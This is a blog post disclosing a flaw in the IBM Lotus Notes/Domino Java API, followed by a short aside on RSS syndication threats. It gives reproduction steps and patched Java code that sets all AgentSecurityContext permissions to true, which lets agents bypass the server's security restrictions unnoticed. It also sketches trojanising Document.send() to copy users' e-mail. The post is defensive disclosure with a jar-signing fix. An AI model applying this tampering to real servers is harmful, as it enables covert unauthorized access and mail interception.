Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)

DISCLAIMER
The information below is provided as-is and I cannot be held liable for any damages, direct or indirect, caused by the information in this post or based on the below findings. The information here is offered in the interest of full disclosure. I have been working with IBM Lotus to diagnose and pinpoint the exact consequences of the below findings since May 2006.

Description

As you might know a central security measure in the Notes/Domino security infrastructure is the difference between restricted and unrestricted operations. Only users granted unrestricted access may perform sensitive operations such as disk I/O and manipulating the system clock. The implementation flaw I found in the Java API of Notes/Domino allows me to circumvent these restrictions and hence circumvent the security settings of the Domino server.

As such the guidelines given in this post could also be used to fully replace the Java API and perform additional operations without the knowledge of the owner of the Domino server or Notes client.

Prerequisites

  • Disk access to the Domino server or Notes client or be able to write an agent or other piece of code that may accomplish the task for you.

Steps to reproduce

Below I describe the steps necessary to circumvent the SecurityManager and/or hide malicious code.

  1. Obtain a copy of the Notes.jar file from the Domino server and copy it to a local workstation.
  2. Unpack the archive using the jar-command.
  3. Decompile the code (I used the JODE version 1.1.2-pre2 decompiler from http://jode.sourceforge.net)
  4. Using Eclipse, or similar, edit the code in the constructor of the lotus.notes.AgentSecurityContext class as shown below:
    public AgentSecurityContext(ThreadGroup threadgroup, boolean bool) {
      m_restricted = bool;
      m_file_read = true;
      m_file_write = true;
      m_net_access = true;
      m_class_loader = true;
      m_extern_exec = true;
      m_native_link = true;
      m_system_props = true;
    
      try {
        AgentSecurityManager agentsecuritymanager = (AgentSecurityManager) System
          .getSecurityManager();
        if (agentsecuritymanager != null)
        agentsecuritymanager.newSecurityContext(this, threadgroup);
       } catch (ClassCastException classcastexception) {
         /* empty */
       }
    }
    
  5. Compile the class and replace the version from the unpacked Notes.jar
  6. Create a new Notes.jar with the manipulated code and replace the Notes.jar on the server. You might have to shutdown the server/client to be able to replace the file.

Using a Domino server in a virtual machine I created a text file called readme.txt in the root of the c-drive on the server and ran the below agent as scheduled on the server. The agent tries to read data from the readme.txt file in the root of the c-drive on the local server (Windows 2000 Server). As expected the JVM throws a java.lang.SecurityException using the Notes.jar supplied with the Domino installation. If I replace the Notes.jar supplied by IBM with my manipulated Notes.jar the agent runs to completion without any incident thus circumventing the security measures put in place by the Domino server.

import lotus.domino.*;
import java.io.*;

public class JavaAgent extends AgentBase {
   public void NotesMain() {
      try {
         Session session = getSession();
         AgentContext agentContext = session.getAgentContext();

         System.out.println("Starting to run agent...");
         FileReader r = new FileReader("c:\readme.txt");
         StringBuffer buffer = new StringBuffer();
         char[] data = new char[128];
         r.read(data, 0, 127);
         buffer.append(data);
         System.out.println("File data: " + buffer.toString());
         r.close();

      } catch(Exception e) {
         e.printStackTrace();
      }

      System.out.println("Done running agent...");
   }
}

Consequences

One thing is being able to circumvent the restricted/unrestricted security measure of the Domino server. Another thing is that this can be done without the administrator or users knowing about it.

As mentioned above you might even be able to use the steps to replace some of the core classes (such as the class implementing the Document interface). By doing this you could have the manipulated class send you a copy of all e-mails generated using the Document.send() method or to add a specific user to all reader/author fields being written to documents.

This should be possible since all the Domino API types are interfaces and as such are open for re-implementation. It does however also mean that you have to manipulate the factory methods of the API.

I must stress that I haven’t tried this myself – yet…

Suggestions

Issues like this could be avoided by digitally signing the Notes.jar file provided by IBM and have the Domino server and Notes client verify the signature of the jar-file before loading classes from it. Since a lock is placed on the jar-file by operating system once read (at least on Windows), the impact on performance should be minimal since the jar-file only needs to be checked once.

As an aside I can mention that some of the jar-files provided with the Domino server/Notes client are digitally signed by IBM already:

  • ibmjcefips.jar
  • ibmjceprovider.jar
  • ibmpkcs11.jar
  • ibmpkcs11impl.jar

Resources

Security threats of syndicated content

There are a number of interesting discussions going on at the moment about the inherent threats of syndicated content sparked by a presentation at the Black Hat 2006 event. I like the way Don Park puts it in his “Comment on Microsoft Embracing RSS“-post:

"If you subscribe to 1000 feeds, you are hanging on a chain with 1000 links. Each of those 1000 links (feeds) are potential targets for hackers to attack to gain control over its content. All they need is one vulnerable feed hosting server to change what is delivered to your desktop."

Something to think about – especially when thinking about how Notes/Domino 7.0.2 will be able to deliver RSS feeds to your employees. I recommend the above post or the Dons other post (Syndicated Vulnerability) to get started.